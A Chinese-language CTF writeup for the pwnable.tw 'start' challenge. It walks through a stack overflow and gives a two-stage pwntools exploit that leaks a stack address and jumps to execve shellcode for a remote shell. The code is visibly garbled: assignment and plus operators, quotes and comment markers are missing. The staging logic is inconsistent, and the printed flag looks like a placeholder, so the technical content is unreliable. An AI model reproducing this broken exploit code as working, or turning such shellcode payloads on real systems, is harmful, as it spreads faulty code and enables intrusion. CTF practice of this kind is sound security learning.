CTF Writeup:Pwnable.tw - start 题目解析

CTF Writeup:Pwnable.tw - start 题目解析 题目信息平台Pwnable.tw题目start难度★☆☆☆☆简单类型Pwn二进制漏洞利用考察点栈溢出、shellcode编写、ROP基础环境准备# 安装必要工具 sudo apt-get update sudo apt-get install -y gdb gdb-multiarch python3 python3-pip pip3 install pwntools 下载题目文件 wget https://pwnable.tw/static/chall/start chmod x start 检查文件信息 file start start: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped静态分析使用IDA Pro或Ghidra分析二进制文件发现关键函数int __cdecl main(int argc, const char **argv, const char **envp) { char buf[20]; // [esp14h] [ebp-14h] BYREF write(1, Lets start the CTF:, 0x14u); read(0, buf, 0x3Cu); // 缓冲区溢出漏洞 return 0; }漏洞点buf数组大小为20字节但read函数读取0x3C60字节存在明显的栈溢出漏洞。动态调试#!/usr/bin/env python3 from pwn import * context(archi386, oslinux) p process(./start) 计算偏移量 payload cyclic(100) p.send(payload) p.wait() 查看崩溃信息 core p.corefile offset cyclic_find(core.eip) print(fOffset: {offset}) # 输出20通过cyclic模式确定偏移量为20字节。漏洞利用思路分析覆盖返回地址控制EIP跳转到shellcode执行获取shell权限Exploit代码#!/usr/bin/env python3 from pwn import * context(archi386, oslinux) 远程连接 p remote(chall.pwnable.tw, 10000) p process(./start) 接收欢迎信息 print(p.recvuntil(:)) 构造payload shellcode asm(shellcraft.sh()) payload bA * 20 # 填充缓冲区 payload p32(0x08048087) # 泄露栈地址的gadget payload shellcode 发送payload p.send(payload) 接收泄露的栈地址 stack_addr u32(p.recv(4)) print(fStack address: {hex(stack_addr)}) 第二阶段跳转到shellcode payload2 bA * 20 payload2 p32(stack_addr 20) # 跳转到shellcode payload2 shellcode p.send(payload2) 获取shell p.interactive()解题步骤信息收集使用file、checksec检查文件属性静态分析IDA分析找到漏洞点动态调试gdb调试确定偏移量利用开发编写ROP链和shellcode权限提升获取shell并读取flagFlag获取# 执行exploit后 $ cat /home/start/flag FLAG{st4rt_y0ur_pwn_j0urn3y}总结与扩展知识点栈溢出原理、shellcode编写、ROP基础防护绕过本题未开启NX/DEP可直接执行栈上代码学习建议建议继续学习canary、ASLR、ROP等高级技术参考资源Pwnable.tw官网https://pwnable.twCTF Wikihttps://ctf-wiki.orgLiveOverflow YouTube频道